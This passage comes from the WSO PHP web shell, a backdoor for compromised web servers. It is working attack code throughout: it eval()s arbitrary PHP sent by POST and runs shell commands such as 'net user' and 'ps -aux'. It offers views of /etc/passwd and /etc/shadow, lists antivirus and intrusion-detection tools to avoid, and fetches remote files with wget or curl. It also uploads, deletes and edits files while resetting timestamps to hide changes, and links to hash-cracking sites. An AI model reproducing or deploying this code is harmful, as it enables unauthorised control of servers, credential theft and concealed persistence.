  635.         wsoSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
  636.     wsoSecParam('Server software', @getenv('SERVER_SOFTWARE'));
  637.     wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');
  638.     wsoSecParam('Open base dir', @ini_get('open_basedir'));
  639.     wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
  640.     wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
  641.     wsoSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
  642.     $temp=array();
  643.     if(function_exists('mysql_get_client_info'))
  644.         $temp[] = "MySql (".mysql_get_client_info().")";
  645.     if(function_exists('mssql_connect'))
  646.         $temp[] = "MSSQL";
  647.     if(function_exists('pg_connect'))
  648.         $temp[] = "PostgreSQL";
  649.     if(function_exists('oci_connect'))
  650.         $temp[] = "Oracle";
  651.     wsoSecParam('Supported databases', implode(', ', $temp));
  652.     echo '<br>';
  653.  
  654.     if( $GLOBALS['os'] == 'nix' ) {
  655.         $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
  656.         $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
  657.         $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
  658.         wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
  659.         wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"etc\", \"shadow\")'>[view]</a>":'no');
  660.         wsoSecParam('Syslog', @is_readable('/etc/syslog.conf')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"syslog.conf\")'>[view]</a>":'no');
  661.         wsoSecParam('Fstab', @is_readable('/etc/fstab')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"fstab\")'>[view]</a>":'no');
  662.         wsoSecParam('Cpuinfo', @is_readable('/proc/cpuinfo')?"yes <a href='#' onclick='g(\"FilesTools\", \"/proc/\", \"cpuinfo\")'>[view]</a>":'no');
  663.             
  664.         wsoSecParam('OS version', @file_get_contents('/proc/version'));     echo '<br>';
  665.         wsoSecParam('Distr name', @file_get_contents('/etc/issue.net'));
  666.         if(!$GLOBALS['safe_mode']) {
  667.             echo '<br>';
  668.     
  669.             echo '<br/>';
  670.             wsoSecParam('HDD space', wsoEx('df -h'));
  671.             echo '<br>';
  672.             wsoSecParam('Hosts', @file_get_contents('/etc/hosts')); echo '<br>';
  673.             wsoSecParam('Ifconfig', wsoEx('ifconfig')); echo '<br>';
  674.             wsoSecParam('Uptime', wsoEx('uptime')); echo '<br>';
  675.             wsoSecParam('last 10', wsoEx('last -n 10')); echo '<br>';
  676.             wsoSecParam('Ps -aux', wsoEx('ps -aux')); echo '<br>';
  677.             
  678.             
  679.  
  680.             
  681.         }
  682.     } else {
  683.         wsoSecParam('OS Version',wsoEx('ver'));
  684.         wsoSecParam('Account Settings',wsoEx('net accounts'));
  685.         wsoSecParam('User Accounts',wsoEx('net user'));
  686.     }
  687.     echo '</div>';
  688.     wsoFooter();
  689. }
  690.  
  691. function actionPhp() {
  692.     if( isset($_POST['ajax']) ) {
  693.         $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
  694.         ob_start();
  695.         eval($_POST['p1']);
  696.         $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
  697.         echo strlen($temp), "\n", $temp;
  698.         exit;
  699.     }
  700.     wsoHeader();
  701.     if( isset($_POST['p2']) && ($_POST['p2'] == 'info') ) {
  702.         echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';
  703.         ob_start();
  704.         phpinfo();
  705.         $tmp = ob_get_clean();
  706.         $tmp = preg_replace('!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU','',$tmp);
  707.         $tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
  708.         echo str_replace('h1','h2',$tmp).'</div><br>';
  709.     }
  710.     
  711.     
  712.         elseif( isset($_POST['p2']) && ($_POST['p2'] == 'ini') ) {
  713.         echo '<h1>PHP ini</h1><div class=content><style>.p {color:#000;}</style>';
  714.         ob_start();
  715.         //
  716.         
  717.         
  718.         
  719.         
  720.         
  721.         
  722.         
  723.         function U_value($value)
  724.  {
  725.  if ($value == '') return '<i>no value</i>';
  726.  if (@is_bool($value)) return $value ? 'TRUE' : 'FALSE';
  727.  if ($value === null) return 'NULL';
  728.  if (@is_object($value)) $value = (array) $value;
  729.  if (@is_array($value))
  730.  {
  731.  @ob_start();
  732.  print_r($value);
  733.  $value = @ob_get_contents();
  734.  @ob_end_clean();
  735.  }
  736.  return U_wordwrap((string) $value);
  737.  }
  738. function U_wordwrap($str)
  739.  {
  740.  $str = @wordwrap(@htmlspecialchars($str), 100, '<wbr />', true);
  741.  return @preg_replace('!(&[^;]*)<wbr />([^;]*;)!', '$1$2<wbr />', $str);
  742.  }
  743. if (@function_exists('ini_get_all'))
  744.  {
  745.  $r = '';
  746.  echo '<table width=100% border=1px>', '<tr><td><div align=center><b>Directive</b></div></font></td><td><div align=center><b>Local Value</b></div></td><td><div align=center><b>Master Value</b></div></td></tr>';
  747.  foreach (@ini_get_all() as $key=>$value)
  748.   {
  749.   $r .= '<tr><td>   <b>'.$key.'</b></td><td><div align=center><b>'.U_value($value['local_value']).'</b></div></td><td><div align=center><b>'.U_value($value['global_value']).'</b></div></td></tr>';
  750.   }
  751.  echo $r;
  752.  echo '</table>';
  753.  }
  754.  
  755.         
  756.         
  757.         
  758.         
  759.         
  760.         
  761.         
  762.         
  763.         
  764.         
  765.         
  766.         
  767.         
  768.         
  769.         
  770.         
  771.         
  772.         
  773.         
  774.         
  775.         
  776.         
  777.         
  778.         
  779.         
  780.         
  781.         
  782.         //
  783.         $tmp = ob_get_clean();
  784.         $tmp = preg_replace('!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU','',$tmp);
  785.         $tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
  786.         echo str_replace('h1','h2',$tmp).'</div><br>';
  787.     }
  788.     
  789.     
  790.     
  791.     
  792.     
  793.     
  794.     
  795.     
  796.     if(empty($_POST['ajax'])&&!empty($_POST['p1']))
  797.         @$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
  798.         echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
  799.     echo ' <input type=checkbox name=ajax value=1 '.(@$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
  800.     if(!empty($_POST['p1'])) {
  801.         ob_start();
  802.         eval($_POST['p1']);
  803.         echo htmlspecialchars(ob_get_clean());
  804.     }
  805.     echo '</pre></div>';
  806.     wsoFooter();
  807. }
  808.  
  809.  
  810.  
  811. function remup() {
  812.  
  813. $tool = $_POST['charset'];
  814. $url = $_POST['p3'];
  815. $place = $_POST['p2'];
  816.  
  817.  switch($tool)
  818.  {
  819.  case wget:
  820.  $cmdup = wsoWhich('wget')." ".$url.' -O '.$place;
  821.  break;
  822.  case fetch:
  823.  $cmdup = wsoWhich('fetch')." -o ".$place." -p ".$url;
  824.  break;
  825.  case lynx:
  826.  $cmdup = wsoWhich('lynx')." -source ".$url." > ".$place."";
  827.  break;
  828.  case links:
  829.  $cmdup = wsoWhich('links')." -source ".$url." > ".$place."";
  830.  break;
  831.  case GET:
  832.  $cmdup = wsoWhich('GET')." ".$url." > ".$place."";
  833.  break;
  834.  case curl:
  835.  $cmdup = wsoWhich('curl')." ".$url." -o ".$place."";
  836.  break;
  837.  }
  838.  
  839. wsoEx($cmdup);
  840.  
  841.  
  842.  
  843.  
  844.  
  845. return 0;
  846. }
  847.  
  848.  
  849.  
  850. function actionFilesMan() {
  851. if($_POST['p1'] != 'edit') wsoHeader();
  852.     //wsoHeader();
  853.     
  854.     echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
  855.     if(!empty($_POST['p1'])) {
  856.         switch($_POST['p1']) {
  857.           case 'edit': 
  858.           $_POST['p1'] = $_POST['f'][0]; 
  859.           $_POST['p2'] = 'edit';  
  860.           $_POST['p3'] = "";
  861.           $_POST['a']  = 'FilesTools';
  862.                actionFilesTools(); exit; break;
  863.         
  864.         
  865.         
  866.             case 'uploadFile':
  867.                 if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
  868.                     echo "Can't upload file!";
  869.                 break;
  870.             case 'mkdir':
  871.                 if(!@mkdir($_POST['p2']))
  872.                     echo "Can't create new dir";
  873.                 break;
  874.                 case 'rem': 
  875.                 remup(); break;
  876.                 
  877.                 
  878.             case 'delete':
  879.                 function deleteDir($path) {
  880.                     $path = (substr($path,-1)=='/') ? $path:$path.'/';
  881.                     $dh  = opendir($path);
  882.                     while ( ($item = readdir($dh) ) !== false) {
  883.                         $item = $path.$item;
  884.                         if ( (basename($item) == "..") || (basename($item) == ".") )
  885.                             continue;
  886.                         $type = filetype($item);
  887.                         if ($type == "dir")
  888.                             deleteDir($item);
  889.                         else
  890.                             @unlink($item);
  891.                     }
  892.                     closedir($dh);
  893.                     rmdir($path);
  894.                 }
  895.                 if(is_array(@$_POST['f']))
  896.                     foreach($_POST['f'] as $f) {
  897.                       if($f == '..')
  898.                             continue;
  899.                     
  900.                         $f = urldecode($f);
  901.                         if(is_dir($f))
  902.                             deleteDir($f);
  903.                         else
  904.                             @unlink($f);
  905.                     }
  906.                 break;
  907.             case 'paste':
  908.                 if($_SESSION['act'] == 'copy') {
  909.                     function copy_paste($c,$s,$d){
  910.                         if(is_dir($c.$s)){
  911.                             mkdir($d.$s);
  912.                             $h = @opendir($c.$s);
  913.                             while (($f = @readdir($h)) !== false)
  914.                                 if (($f != ".") and ($f != "..")) {
  915.                                     copy_paste($c.$s.'/',$f, $d.$s.'/');
  916.                                 }
  917.                         } elseif(is_file($c.$s)) {
  918.                             @copy($c.$s, $d.$s);
  919.                         }
  920.                     }
  921.                     foreach($_SESSION['f'] as $f)
  922.                         copy_paste($_SESSION['c'],$f, $GLOBALS['cwd']);
  923.                 } elseif($_SESSION['act'] == 'move') {
  924.                     function move_paste($c,$s,$d){
  925.                         if(is_dir($c.$s)){
  926.                             mkdir($d.$s);
  927.                             $h = @opendir($c.$s);
  928.                             while (($f = @readdir($h)) !== false)
  929.                                 if (($f != ".") and ($f != "..")) {
  930.                                     copy_paste($c.$s.'/',$f, $d.$s.'/');
  931.                                 }
  932.                         } elseif(@is_file($c.$s)) {
  933.                             @copy($c.$s, $d.$s);
  934.                         }
  935.                     }
  936.                     foreach($_SESSION['f'] as $f)
  937.                         @rename($_SESSION['c'].$f, $GLOBALS['cwd'].$f);
  938.                 } elseif($_SESSION['act'] == 'zip') {
  939.                     if(class_exists('ZipArchive')) {
  940.                         $zip = new ZipArchive();
  941.                         if ($zip->open('wso_'.date("Ymd_His").'.zip', (int)@eval('return ZIPARCHIVE::CREATE;'))) {
  942.                             chdir($_SESSION['c']);
  943.                             foreach($_SESSION['f'] as $f) {
  944.                                 if(@is_file($_SESSION['c'].$f))
  945.                                     $zip->addFile($_SESSION['c'].$f, $f);
  946.                                 elseif(@is_dir($_SESSION['c'].$f)) {
  947.                                     $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/'));
  948.                                     foreach ($iterator as $key=>$value) {
  949.                                         $zip->addFile(realpath($key), $key);
  950.                                     }
  951.                                 }
  952.                             }
  953.                             chdir($GLOBALS['cwd']);
  954.                             $zip->close();
  955.                         }
  956.                     }
  957.                 } elseif($_SESSION['act'] == 'unzip') {
  958.                     if(class_exists('ZipArchive')) {
  959.                         $zip = new ZipArchive();
  960.                         foreach($_SESSION['f'] as $f) {
  961.                             if($zip->open($_SESSION['c'].$f)) {
  962.                                 $zip->extractTo($GLOBALS['cwd']);
  963.                                 $zip->close();
  964.                             }
  965.                         }
  966.                     }
  967.                     
  968.                     }
  969.                     elseif($_SESSION['act'] == 'tar') {
  970.                     chdir($_SESSION['c']);
  971.                     $_SESSION['f'] = array_map('escapeshellarg', $_SESSION['f']);
  972.                     wsoEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_SESSION['f']));
  973.                     chdir($GLOBALS['cwd']);
  974.                     
  975.                     
  976.                     
  977.                 }
  978.                 unset($_SESSION['f']);
  979.                 break;
  980.             default:
  981.                 if(!empty($_POST['p1']) && (($_POST['p1'] == 'copy')||($_POST['p1'] == 'move')||($_POST['p1'] == 'zip')||($_POST['p1'] == 'unzip')) ) {
  982.                     $_SESSION['act'] = @$_POST['p1'];
  983.                     $_SESSION['f'] = @$_POST['f'];
  984.                     foreach($_SESSION['f'] as $k => $f)
  985.                         $_SESSION['f'][$k] = urldecode($f);
  986.                     $_SESSION['c'] = @$_POST['c'];
  987.                 }
  988.                 break;
  989.         }
  990.     }
  991.     $dirContent = @scandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
  992.     if($dirContent === false) {    echo 'Can\'t open this folder!';wsoFooter(); return;    }
  993.     global $sort;
  994.     $sort = array('name', 1);
  995.     if(!empty($_POST['p1'])) {
  996.         if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
  997.             $sort = array($match[1], (int)$match[2]);
  998.     }
  999. echo "<script>
  1000.     function sa() {
  1001.         for(i=0;i<document.files.elements.length;i++)
  1002.             if(document.files.elements[i].type == 'checkbox')
  1003.                 document.files.elements[i].checked = document.files.elements[0].checked;
  1004.     }
  1005. </script>
  1006. <table width='100%' class='main' cellspacing='0' cellpadding='2'>
  1007. <form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Actions</th></tr>";
  1008.     $dirs = $files = array();
  1009.     $n = count($dirContent);
  1010.     for($i=0;$i<$n;$i++) {
  1011.         $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
  1012.         $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
  1013.         $tmp = array('name' => $dirContent[$i],
  1014.                      'path' => $GLOBALS['cwd'].$dirContent[$i],
  1015.                      'modify' => date('Y-m-d H:i:s',@filemtime($GLOBALS['cwd'].$dirContent[$i])),
  1016.                      'perms' => wsoPermsColor($GLOBALS['cwd'].$dirContent[$i]),
  1017.                      'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
  1018.                      'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
  1019.                      'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
  1020.                     );
  1021.         if(@is_file($GLOBALS['cwd'].$dirContent[$i]))
  1022.             $files[] = array_merge($tmp, array('type' => 'file'));
  1023.         elseif(@is_link($GLOBALS['cwd'].$dirContent[$i]))
  1024.             $dirs[] = array_merge($tmp, array('type' => 'link'));
  1025.         elseif(@is_dir($GLOBALS['cwd'].$dirContent[$i])&& ($dirContent[$i] != "."))
  1026.             $dirs[] = array_merge($tmp, array('type' => 'dir'));
  1027.     }
  1028.     $GLOBALS['sort'] = $sort;
  1029.     function wsoCmp($a, $b) {
  1030.         if($GLOBALS['sort'][0] != 'size')
  1031.             return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
  1032.         else
  1033.             return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
  1034.     }
  1035.     usort($files, "wsoCmp");
  1036.     usort($dirs, "wsoCmp");
  1037.     $files = array_merge($dirs, $files);
  1038.     $l = 1;
  1039.     foreach($files as $f) {
  1040.         echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');"><b>[ '.htmlspecialchars($f['name']).' ]</b>').'</a></td><td>'.(($f['type']=='file')?wsoViewSize($f['size']):$f['type']).'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms'].'</a></td><td>'.$f['owner'].'/'.$f['group'].'</td><td>'.$f['modify']
  1041.             .'</a></td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
  1042.         $l = $l?0:1;
  1043.     }
  1044.     
  1045.     
  1046.     echo '</table><br>';
  1047.     echo "
  1048.     <input type=hidden name=a value='FilesMan'>
  1049.     <input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>
  1050.     <input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'>
  1051.     <select name='p1'><option value='edit'>Edit</option><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
  1052.     if(class_exists('ZipArchive'))
  1053.         echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
  1054.     if(!empty($_SESSION['act'])&&@count($_SESSION['f']))
  1055.         echo "<option value='paste'>Paste / zip</option>";
  1056.     echo "</select> <input type='submit' value='>>'></form></div>";
  1057.     wsoFooter();
  1058.     
  1059. }
  1060.  
  1061. function actionStringTools() {
  1062.     if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
  1063.     if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}}
  1064.     if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
  1065.     if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}}
  1066.     if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
  1067.     $stringTools = array(
  1068.         'Base64 encode' => 'base64_encode',
  1069.         'Base64 decode' => 'base64_decode',
  1070.         'Url encode' => 'urlencode',
  1071.         'Url decode' => 'urldecode',
  1072.         'Full urlencode' => 'full_urlencode',
  1073.         'md5 hash' => 'md5',
  1074.         'sha1 hash' => 'sha1',
  1075.         'crypt' => 'crypt',
  1076.         'CRC32' => 'crc32',
  1077.         'ASCII to HEX' => 'ascii2hex',
  1078.         'HEX to ASCII' => 'hex2ascii',
  1079.         'HEX to DEC' => 'hexdec',
  1080.         'HEX to BIN' => 'hex2bin',
  1081.         'DEC to HEX' => 'dechex',
  1082.         'DEC to BIN' => 'decbin',
  1083.         'BIN to HEX' => 'binhex',
  1084.         'BIN to DEC' => 'bindec',
  1085.         'String to lower case' => 'strtolower',
  1086.         'String to upper case' => 'strtoupper',
  1087.         'Htmlspecialchars' => 'htmlspecialchars',
  1088.         'String length' => 'strlen',
  1089.     );
  1090.     if(isset($_POST['ajax'])) {
  1091.         $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
  1092.         ob_start();
  1093.         if(in_array($_POST['p1'], $stringTools))
  1094.             echo $_POST['p1']($_POST['p2']);
  1095.         $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
  1096.         echo strlen($temp), "\n", $temp;
  1097.         exit;
  1098.     }
  1099.     wsoHeader();
  1100.     echo '<h1>String conversions</h1><div class=content>';
  1101.     if(empty($_POST['ajax'])&&!empty($_POST['p1']))
  1102.         $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
  1103.     echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
  1104.     foreach($stringTools as $k => $v)
  1105.         echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
  1106.         echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".(@$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2']))."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
  1107.     if(!empty($_POST['p1'])) {
  1108.         if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));
  1109.     }
  1110.     echo"</pre></div><br><h1>Search text in files:</h1><div class=content>
  1111.         <form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
  1112.             <tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
  1113.             <tr><td>Path:</td><td><input type='text' name='cwd' value='". htmlspecialchars($GLOBALS['cwd']) ."' style='width:100%'></td></tr>
  1114.             <tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
  1115.             <tr><td></td><td><input type='submit' value='>>'></td></tr>
  1116.             </table></form>";
  1117.  
  1118.     function wsoRecursiveGlob($path) {
  1119.         if(substr($path, -1) != '/')
  1120.             $path.='/';
  1121.         $paths = @array_unique(@array_merge(@glob($path.$_POST['p3']), @glob($path.'*', GLOB_ONLYDIR)));
  1122.         if(is_array($paths)&&@count($paths)) {
  1123.             foreach($paths as $item) {
  1124.                 if(@is_dir($item)){
  1125.                     if($path!=$item)
  1126.                         wsoRecursiveGlob($item);
  1127.                 } else {
  1128.                     if(@strpos(@file_get_contents($item), @$_POST['p2'])!==false)
  1129.                         echo "<a href='#' onclick='g(\"FilesTools\",null,\"".urlencode($item)."\", \"view\")'>".htmlspecialchars($item)."</a><br>";
  1130.                 }
  1131.             }
  1132.         }
  1133.     }
  1134.     if(@$_POST['p3'])
  1135.         wsoRecursiveGlob($_POST['c']);
  1136.     echo "</div><br><h1>Search for hash:</h1><div class=content>
  1137.         <form method='post' target='_blank' name='hf'>
  1138.             <input type='text' name='hash' style='width:200px;'><br>
  1139.             <input type='button' value='hashcrack.com' onclick=\"document.hf.action='http://www.hashcrack.com/index.php';document.hf.submit()\"><br>
  1140.             <input type=hidden name=__EVENTTARGET value=Button1>
  1141.             <input type=hidden name=ctl00\$ContentPlaceHolder1\$Button1 value=╚±Ωα≥ⁿ>
  1142.             <input type=hidden name=ctl00\$ContentPlaceHolder1\$InputHashType value=md5>
  1143.             <input type=hidden name=ctl00\$ContentPlaceHolder1\$TextBoxq>";
  1144.             
  1145.             echo "
  1146.             <input type='button' value='cmd5.ru' onclick=\"document.hf.action='http://cmd5.ru/';document.hf.submit()\"><br>
  1147.             <input type='button' value='hashcracking.info' onclick=\"document.hf.action='https://hashcracking.info/index.php';document.hf.submit()\"><br>
  1148.             <input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
  1149.             <input type='button' value='md5decrypter.com' onclick=\"document.hf.action='http://www.md5decrypter.com/';document.hf.submit()\"><br>
  1150.         </form></div>";
  1151.     wsoFooter();
  1152. }
  1153.  
  1154. function actionFilesTools() {
  1155.     if( isset($_POST['p1']) )
  1156.         $_POST['p1'] = urldecode($_POST['p1']);
  1157.     if(@$_POST['p2']=='download') {
  1158.         if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
  1159.             ob_start("ob_gzhandler", 4096);
  1160.             header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
  1161.             if (function_exists("mime_content_type")) {
  1162.                 $type = @mime_content_type($_POST['p1']);
  1163.                 header("Content-Type: ".$type);
  1164.             }
  1165.             $fp = @fopen($_POST['p1'], "r");
  1166.             if($fp) {
  1167.                 while(!@feof($fp))
  1168.                     echo @fread($fp, 1024);
  1169.                 fclose($fp);
  1170.             }
  1171.         }exit;
  1172.     }
  1173.     if( @$_POST['p2'] == 'mkfile' ) {
  1174.         if(!file_exists($_POST['p1'])) {
  1175.             $fp = @fopen($_POST['p1'], 'w');
  1176.             if($fp) {
  1177.                 $_POST['p2'] = "edit";
  1178.                 fclose($fp);
  1179.             }
  1180.         }
  1181.     }
  1182.     wsoHeader();
  1183.     echo '<h1>File tools</h1><div class=content>';
  1184.     if( !file_exists(@$_POST['p1']) ) {
  1185.         echo 'File not exists';
  1186.         wsoFooter();
  1187.         return;
  1188.     }
  1189.     $uid = @posix_getpwuid(@fileowner($_POST['p1']));
  1190.     if(!$uid) {
  1191.         $uid['name'] = @fileowner($_POST['p1']);
  1192.         $gid['name'] = @filegroup($_POST['p1']);
  1193.     } else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
  1194.     echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <br><span>Size:</span> '.(is_file($_POST['p1'])?wsoViewSize(filesize($_POST['p1'])):'-').' <br><span>Permission:</span> '.wsoPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
  1195.     echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <br><span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <br><span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
  1196.     if( empty($_POST['p2']) ) {
  1197.      $_POST['p2'] = 'view';
  1198.                }
  1199.                if($_POST['p2'] == 'view') {
  1200.               if(preg_match('#\.php$#',@basename($_POST['p1']))) { $_POST['p2'] = 'highlight'; }
  1201.     }
  1202.     if( is_file($_POST['p1']) )
  1203.         $m = array('View', 'highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
  1204.     else
  1205.         $m = array('Chmod', 'Rename', 'Touch');
  1206.     foreach($m as $v)
  1207.     
  1208.         echo '<a href=# onclick="g(null,null,null,\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
  1209.     echo '<br><br>';
  1210.     
  1211.     switch($_POST['p2']) {
  1212.         case 'view':
  1213.             echo '<pre class=ml1>';
  1214.             $fp = @fopen($_POST['p1'], 'r');
  1215.             if($fp) {
  1216.                 while( !@feof($fp) )
  1217.                     echo htmlspecialchars(@fread($fp, 1024));
  1218.                 @fclose($fp);
  1219.             }
  1220.             echo '</pre>';
  1221.             break;
  1222.         case 'highlight':
  1223.         
  1224.             if( @is_readable($_POST['p1']) ) {
  1225.                 echo '<div class=ml1 style="background-color:white;color:black;">';
  1226.                 $code = @highlight_file($_POST['p1'],true);
  1227.                 echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
  1228.             }
  1229.             break;
  1230.         case 'chmod':
  1231.             if( !empty($_POST['p3']) ) {
  1232.                 $perms = 0;
  1233.                 for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
  1234.                     $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
  1235.                 if(!@chmod($_POST['p1'], $perms))
  1236.                     echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
  1237.             }
  1238.             clearstatcache();
  1239.             echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
  1240.             break;
  1241.         case 'edit':
  1242.     
  1243.             if( !is_writable($_POST['p1'])) {
  1244.                 echo 'File isn\'t writeable';
  1245.                 break;
  1246.             }
  1247.             if( !empty($_POST['p3']) ) {
  1248.                 $time = @filemtime($_POST['p1']);
  1249.                 $_POST['p3'] = substr($_POST['p3'],1);
  1250.                 $fp = @fopen($_POST['p1'],"w");
  1251.                 if($fp) {
  1252.                     @fwrite($fp,$_POST['p3']);
  1253.                     @fclose($fp);
  1254.                     echo 'Saved!<br><script>p3_="";</script>';
  1255.                     @touch($_POST['p1'],$time,$time);
  1256.                 }
  1257.             }
